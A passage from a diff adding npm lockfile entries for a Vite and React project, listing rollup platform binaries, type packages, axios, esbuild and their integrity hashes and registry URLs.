"sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.1.tgz", + "integrity": "sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.1.tgz", + "integrity": "sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.1.tgz", + "integrity": "sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.1.tgz", + "integrity": "sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.1.tgz", + "integrity": "sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.1.tgz", + "integrity": "sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.1.tgz", + "integrity": "sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.1.tgz", + "integrity": "sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.1.tgz", + "integrity": "sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.1.tgz", + "integrity": "sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.1.tgz", + "integrity": "sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.1.tgz", + "integrity": "sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.1.tgz", + "integrity": "sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.1.tgz", + "integrity": "sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.1.tgz", + "integrity": "sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.1.tgz", + "integrity": "sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.1.tgz", + "integrity": "sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.1.tgz", + "integrity": "sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.3.28", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz", + "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@vitejs/plugin-react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", + "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.28.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-beta.27", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.17.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz", + "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.19", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.19.tgz", + "integrity": "sha512-qCkNLi2sfBOn8XhZQ0FXsT1Ki/Yo5P90hrkRamVFRS7/KV9hpfA4HkoWNU152+8w0zPjnxo5psx5NL3PSGgv5g==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/browserslist": { + "version": "4.28.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", + "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.12", + "caniuse-lite": "^1.0.30001782", + "electron-to-chromium": "^1.5.328", + "node-releases": "^2.0.36", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001788", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001788.tgz", + "integrity": "sha512-6q8HFp+lOQtcf7wBK+uEenxymVWkGKkjFpCvw5W25cmMwEDU45p1xQFBQv8JDlMMry7eNxyBaR+qxgmTUZkIRQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.338", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.338.tgz", + "integrity": "sha512-KVQQ3xko9/coDX3qXLUEEbqkKT8L+1DyAovrtu0Khtrt9wjSZ+7CZV4GVzxFy9Oe1NbrIU1oVXCwHJruIA1PNg==", + "dev": true, + "license": "ISC" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": 